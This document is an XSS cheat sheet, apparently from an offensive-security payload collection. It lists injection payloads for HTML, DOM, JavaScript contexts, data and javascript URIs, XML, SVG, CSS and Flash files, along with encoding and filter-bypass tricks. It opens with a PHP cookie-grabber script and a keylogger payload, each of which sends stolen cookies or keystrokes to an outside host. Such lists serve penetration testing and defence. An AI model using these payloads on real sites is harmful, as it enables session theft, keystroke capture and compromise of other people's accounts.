Cross Site Scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.

- Exploit code or POC
- Identify an XSS endpoint
- XSS in HTML/Applications
- XSS in wrappers javascript and data URI
- XSS in files
- Polyglot XSS
- Filter Bypass and Exotic payloads
- Common WAF Bypas

Exploit code or POC

Cookie grabber for XSS

```
<?php
// How to use it
# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie
</script>

// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);

?>
```

Keylogger for XSS

```
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
```

More exploits at http://www.xss-payloads.com/payloads-list.html?a#category=all (http://www.xss-payloads.com/payloads-list.html?a#category=all) :

- Taking screenshots using XSS and the HTML5 Canvas (https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/)

- JavaScript Port Scanner (http://www.gnucitizen.org/blog/javascript-port-scanner/)
- Network Scanner (http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html)
- .NET Shell execution (http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html)
- Redirect Form (http://www.xss-payloads.com/payloads/scripts/redirectform.js.html)
- Play Music (http://www.xss-payloads.com/payloads/scripts/playmusic.js.html)

Identify an XSS endpoint

```
<script>debugger;</script>
```

XSS in HTML/Applications

XSS Basic

```
Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>

Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
```

XSS for HTML5

```
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
```

```
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
```

XSS using script tag (external payload)

```
<script src=14.rs>
you can also specify an arbitratry payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)
```

XSS in META tag

```
Base64 encoded
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg==">http-equiv=refresh>

With an additional URL
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
```

XSS in Hidden input

```
<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event
```

DOM XSS

```
#"><img src=/ onerror=alert(2)>
```

XSS in JS Context (payload without quote/double quote from @brutelogic (https://twitter.com/brutelogic)

```
-(confirm)(document.domain)//
; alert(1);//
```

XSS URL

```
URL/<svg onload=alert(1)>
URL/<script>alert('XSS');//
URL/<input autofocus onfocus=alert(1)>
```

XSS in wrappers javascript and data URI

XSS with javascript:

```
javascript:prompt(1)
```

```
%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

We can encode the "javacript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)

We can use a 'newline character'
java%0ascript:alert(1)   - LF (\n)
java%09script:alert(1)   - Horizontal tab (\t)
java%0dscript:alert(1)   - CR (\r)

Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)

Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
```

XSS with data:

```
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```

XSS with vbscript: only IE

```
vbscript:msgbox("XSS")
```

XSS in files

NOTE: The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.

```
<name>
  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
```

XSS in XML

```
<html>
<head></head>
```

```
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</somethin
g:script>
</body>
</html>
```

XSS in SVG

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphi
cs/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>
```

XSS in SVG (short)

```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
```

XSS in SWF flash application

```
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.dom
ain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e)
{ window.open('?js=history.go(-1)','_self');}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open('invalidfileinvalidfile
invalidfile','target');setTimeout('alert(w.document.location);w.close();',1);
```

more payloads in ./files

XSS in SWF flash application

```
flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web
.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
plupload.flash.swf?%#target%g=alert&uid%g=XSS&
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
video-js.swf?readyFunction=alert(1)
player.swf?playerready=alert(document.cookie)
```

```
player.swf?tracecall=alert(document.cookie)
banner.swf?clickTAG=javascript:alert(1);//
io.swf?yid=\"));}catch(e){alert(1);}//
video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3
NjcmlwdD4
flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
phpmyadmin/js/canvg/flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}
//
```

XSS in CSS

```
<!DOCTYPE html>
<html>
<head>
<style>
div  {
    background-image: url("<\/style><svg/onload=alert(docu
ment.domain)>");
    background-color: #cccccc;
}
</style>
</head>
  <body>
    <div>lol</div>
  </body>
</html>
```